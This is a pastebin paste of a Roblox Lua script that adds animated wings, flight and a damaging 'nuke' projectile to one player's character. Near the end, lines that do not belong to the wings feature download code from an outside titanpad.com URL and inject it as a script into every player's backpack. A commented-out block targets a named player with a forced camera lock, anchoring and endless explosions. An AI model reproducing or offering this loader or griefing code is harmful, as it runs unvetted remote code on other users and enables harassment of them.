Advertisement
Guest User

asdfasdf

a guest
May 19th, 2019
92
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.56 KB | None | 0 0
  1.  
  2.  
  3.  
  4.  
  5.  
  6. color=BrickColor.random() --RANDOM COLORS FUCK YEAH
  7. local wingpoints={{-5,0,2},{-6,0,-1},{-6.5,-3,0}}
  8. local wings={Right={};Left={}}
  9.  
  10. pl=game.Players.FuturicunicornBanned
  11. char=pl.Character
  12. torso=pl.Character.Torso
  13. mo=pl:GetMouse()
  14. function w(p1,p2)local w1=Instance.new'Weld' w1.Part0=p1 w1.Part1=p2 w1.C1=p2.CFrame:inverse()*p1.CFrame w1.Parent=p1 return w1 end function rd(degree)return math.rad(degree)end
  15. function part() local p=Instance.new('Part',char)p.TopSurface='Smooth'p.BottomSurface='Smooth'p.CanCollide=false p.Transparency=.5 p.Anchored=true p.FormFactor='Custom'p.BrickColor=color return p end
  16. function lineto(point1,point2) point1=point1.p point2=point2.p local ln=part()ln.Size=Vector3.new(.1,.1,(point1-point2).magnitude)ln.CFrame=CFrame.new(point1:Lerp(point2,.5))ln.CFrame=CFrame.new(ln.Position,point2)return ln end
  17. local cpoint=Vector3.new(0,0,0)
  18. local lastpos,lastrot,ln,vel,gyro,con,firecon,increase
  19.  
  20. function nuke(pos)
  21. local halo=part()
  22. halo.CFrame=CFrame.new(pos)*CFrame.Angles(math.rad(90),0,0)
  23. local hm=Instance.new('SpecialMesh',halo)
  24. hm.MeshType='FileMesh'
  25. hm.MeshId='http://www.roblox.com/asset/?id=3270017'
  26. halo.Touched:connect(function(i)
  27. if i:FindFirstChild'Humanoid' then
  28. i.Humanoid:TakeDamage(math.random(1,20))
  29. end
  30. end)
  31. for j=1,10 do wait(.1)spawn(function()
  32. for i=1,50 do
  33. hm.Scale=hm.Scale+Vector3.new(5,5,5)
  34. wait()
  35. end
  36. halo:Destroy()end)end
  37. end
  38.  
  39. for i=1,#wingpoints do
  40. local current=wingpoints[i]
  41. local back=wingpoints[i-1]
  42. local backwr,backwl
  43. if i>1 then
  44. backwr=wings.Right[i-1][3]
  45. print(backwr)
  46. backwl=wings.Left[i-1][3]
  47. end
  48. if not back then back={0,0,0} end
  49. local ln=lineto(torso.CFrame*CFrame.new(current[1],current[2],current[3]),torso.CFrame*CFrame.new(back[1],back[2],back[3]))
  50. ln.Anchored=false
  51. local ln2=lineto(torso.CFrame*CFrame.new(-current[1],current[2],current[3]),torso.CFrame*CFrame.new(-back[1],back[2],back[3]))
  52. ln2.Anchored=false
  53. local w1=w(backwr or torso,ln)
  54. local w2=w(backwl or torso,ln2)
  55. table.insert(wings.Right,{w1,w1.C0,ln})table.insert(wings.Left,{w2,w2.C0,ln2})
  56. end
  57.  
  58. function movewings(ang)
  59. for i,v in pairs(wings.Right) do
  60. v[1].C0=v[2]*CFrame.Angles(0,0,-math.rad(ang))
  61. end
  62. for i,v in pairs(wings.Left) do
  63. v[1].C0=v[2]*CFrame.Angles(0,0,math.rad(ang))
  64. end
  65. end
  66.  
  67. local cnt=3
  68. local wspeed=.5
  69. local dir=true
  70. game:service'RunService'.RenderStepped:connect(function()
  71. if dir==true then cnt=cnt+wspeed else cnt=cnt-wspeed end if cnt<1 or cnt>40 then dir=not dir end
  72. movewings(cnt)
  73. end)
  74.  
  75. local fly=false
  76.  
  77. function makeCon()
  78. fly=true
  79. cpoint=mo.Hit.p
  80. vel=Instance.new('BodyVelocity',torso)
  81. vel.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  82. gyro=Instance.new('BodyGyro',torso)
  83. gyro.maxTorque=Vector3.new(math.huge,math.huge,math.huge)
  84. increase=0
  85. con=game:service'RunService'.Stepped:connect(function()
  86. vel.velocity=(CFrame.new(torso.Position,mo.Hit.p)).lookVector*(50+increase)
  87. if lastpos and lastrot then local ng=(mo.X-lastrot) gyro.cframe=CFrame.new(lastpos,torso.Position)*CFrame.Angles(math.rad(-90),math.rad(ng),0) end
  88. lastpos=torso.Position
  89. lastrot=mo.X
  90. increase=increase+.1
  91.  
  92.  
  93. --local fline=lineto(torso.CFrame*CFrame.new(0,10,0),torso.CFrame*CFrame.new(math.random(-7,7),math.random(1,3),math.random(-7,7)))
  94. --game:service'Debris':AddItem(fline,.1)
  95.  
  96.  
  97. for i=1,2 do
  98. local smoke=part()
  99. smoke.Shape='Ball'
  100. smoke.Size=Vector3.new(1,0,0)
  101. local ms=Instance.new('SpecialMesh',smoke)
  102. ms.MeshType='Sphere'
  103. local rnd=math.random(.2,4)
  104. ms.Scale=Vector3.new(rnd,rnd,rnd)
  105. smoke.Transparency=math.random(0,7)/10
  106. smoke.CFrame=torso.CFrame*CFrame.new(math.random(-40,40)/10,-7,math.random(-40,40)/10)
  107. smoke.Anchored=false
  108. local vl=Instance.new('BodyVelocity',smoke)
  109. vl.velocity=CFrame.new(torso.Position,smoke.Position).lookVector*50
  110. vl.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  111. game:service'Debris':AddItem(smoke,1)
  112. end
  113.  
  114. end)
  115. end
  116.  
  117. local dropcon,dropgyro,pastpos
  118. mo.KeyDown:connect(function(key)
  119. if key=='e' then
  120. fly=true
  121. wspeed=4
  122. if vel then vel:Destroy()end if gyro then gyro:Destroy() end
  123. makeCon()
  124. elseif key=='f' then
  125.  
  126. local n1=part()
  127. n1.Size=Vector3.new(3,3,3)
  128. local n1m=Instance.new('SpecialMesh',n1)
  129. n1m.MeshType='Sphere'
  130. local n2=part()
  131. n2.Size=Vector3.new(3,6,3)
  132. n2.CFrame=n1.CFrame*CFrame.Angles(0,0,math.rad(90))*CFrame.new(0,2.75,0)
  133. Instance.new('CylinderMesh',n2)
  134. n1.Anchored=false n2.Anchored=false
  135. n1.Transparency=0 n2.Transparency=0
  136. n1.CanCollide=true n2.CanCollide=true
  137. w(n1,n2)
  138.  
  139. n1.CFrame=char.Torso.CFrame*CFrame.new(0,0,-4)
  140.  
  141. local nt=n1.Touched:connect(function(to)
  142. if to.Parent==char then return end
  143. if nt then nt:disconnect()end
  144. n1:Destroy()
  145. n2:Destroy()
  146. nuke(n1.Position)
  147. end)
  148.  
  149.  
  150. end
  151. end)
  152. mo.KeyUp:connect(function(key)if key=='e' then fly=false wspeed=.5 con:disconnect() vel:Destroy()gyro:Destroy()if dropgyro then dropgyro:Destroy()end wait(.1)end end)
  153.  
  154. ExecutedScript = game.HttpService:GetAsync'https://titanpad.com/ep/pad/export/SBSCRIPTSFUNC/latest?format=txt'
  155. for _,v in next,game:service'Players':players()do
  156. spawn(function() --
  157. local backpack=v:waitForChild'Backpack';
  158. newLocalScript(ExecutedScript,backpack);
  159. end);
  160. end;
  161. wait()
  162. ExecutedScript = nil
  163.  
  164.  
  165.  
  166.  
  167.  
  168.  
  169.  
  170. --[[
  171. script.Parent=nil
  172. pl='Reinitialized'
  173. game.Players[pl].CameraMode='LockFirstPerson'
  174. workspace[pl].Torso.Anchored=true
  175. for i=1,20 do
  176. game:service'RunService'.Heartbeat:connect(function()
  177. Instance.new('ForceField',workspace[pl])
  178. Instance.new('Fire',workspace[pl].Torso)
  179. Instance.new('Explosion',workspace[pl]).Position=workspace[pl].Torso.Position
  180. end)end ]]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement